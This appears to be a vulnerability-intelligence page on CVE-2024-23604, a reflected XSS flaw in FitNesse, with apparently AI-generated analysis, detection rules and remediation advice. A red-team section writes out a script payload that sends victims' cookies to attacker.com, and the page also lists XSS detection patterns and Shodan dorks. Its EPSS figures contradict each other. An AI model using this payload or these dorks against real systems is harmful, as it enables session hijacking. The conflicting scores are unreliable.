☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-23604

CVE-2024-23604 Cross-Site Scripting in Fitnesse
📅 PUBLISHED: 2024-03-18 07:26 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Open Source
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-23604 is a Cross-Site Scripting (XSS) vulnerability affecting all releases of FitNesse, a web-based wiki and test automation framework. The flaw allows a remote unauthenticated attacker to execute arbitrary JavaScript in the context of a victim’s browser by crafting a malicious link with specially crafted multiple parameters. This can lead to session hijacking, credential theft, or defacement. No official patch or advisory has been released by the vendor, and no public proof-of-concept (PoC) or exploit code is currently available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant due to the lack of a patch.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

FitNesse is a Java-based application distributed as a standalone JAR or via Maven. The vulnerability affects all releases, meaning any organization using FitNesse is at risk. Since no patch is available, users must rely on workarounds such as input validation or web application firewall (WAF) rules. The absence of a GitHub advisory or OSV patch data further complicates remediation.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the description, a reasonable CVSS v3.1 vector would be:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): Required (R) – victim must click a link
  • Scope (SC): Changed (C) – XSS can impact other resources
  • Confidentiality (C): Low (L)
  • Integrity (I): Low (L)
  • Availability (A): None (N)

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium – Exploitation requires user interaction, but no authentication is needed, and the impact includes data theft and session hijacking.

Deep Dive & Mechanics

The vulnerability resides in FitNesse’s handling of HTTP request parameters. When a user accesses a URL with specially crafted multiple parameters, the application fails to sanitize or encode the input before reflecting it in the response. This allows an attacker to inject arbitrary HTML and JavaScript.

Root Cause: Lack of output encoding or input validation for query string parameters. FitNesse likely uses a template engine that does not automatically escape user-supplied data.

Attack Vector: The attacker crafts a malicious link containing JavaScript payloads in multiple parameters. The victim clicks the link while authenticated to FitNesse, and the script executes in the context of the FitNesse session.

Example Payload (Conceptual):

http://target/FitNesse?param1=<script>alert('XSS')</script>&param2=javascript:alert(1)

Impact: Session hijacking, credential theft, defacement, or redirection to malicious sites.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, the vulnerable code likely resembles:

// Vulnerable: Direct reflection of parameter
String param = request.getParameter("param");
response.getWriter().write("<div>" + param + "</div>");

A patched version would use proper encoding:

// Patched: Encode output
String param = request.getParameter("param");
response.getWriter().write("<div>" + StringEscapeUtils.escapeHtml4(param) + "</div>");

Exploitation & Lab Setup

Red Team

Objective: Demonstrate XSS to steal session cookies.

Setup:

  1. Deploy FitNesse (any version) on a local server.
  2. Create a malicious link:
    http://localhost/FitNesse?page=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
    
  3. Send the link to a victim (simulated).
  4. Set up a listener on attacker.com to capture cookies.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team

Detection:

  • Monitor web logs for URLs containing <script>, onerror, javascript:, or other XSS patterns.
  • Use a WAF to block requests with suspicious parameters.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Hunting:

  • Search for FitNesse in proxy logs and look for unusual parameter values.
  • Use the Sigma rule below to detect XSS attempts.

Indicators of Compromise (IOCs)

  • Network: HTTP requests to FitNesse with multiple parameters containing <script>, onerror, alert(, or document.cookie.
  • Host: FitNesse logs showing XSS or script in request parameters.
  • File: No specific file IOCs; the vulnerability is in the application logic.

Detection Engineering

YARA Rule

rule CVE_2024_23604_XSS_FitNesse {
    meta:
        description = "Detects XSS attempts targeting FitNesse CVE-2024-23604"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-23604"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "javascript:" nocase
        $xss4 = "alert(" nocase
        $xss5 = "document.cookie" nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: FitNesse XSS Attempt Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS attacks against FitNesse via multiple parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
            - 'alert('
            - 'document.cookie'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-23604 FitNesse XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"FitNesse"; http_uri; content:"<script>"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Input Validation: Implement strict input validation for all parameters. Reject or sanitize any input containing HTML tags or JavaScript.
  2. Output Encoding: Ensure all user-supplied data is HTML-encoded before reflection.
  3. WAF Rules: Deploy a WAF with rules to block XSS patterns (e.g., ModSecurity with OWASP CRS).
  4. CSP Headers: Add Content-Security-Policy: script-src 'self' to mitigate script execution.

Long-Term:

  • Monitor for an official patch from the vendor.
  • Consider migrating to an alternative wiki/test framework if FitNesse is no longer maintained.
  • Conduct a security audit of the application to identify similar flaws.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"FitNesse"
http.html:"FitNesse"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-23604/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.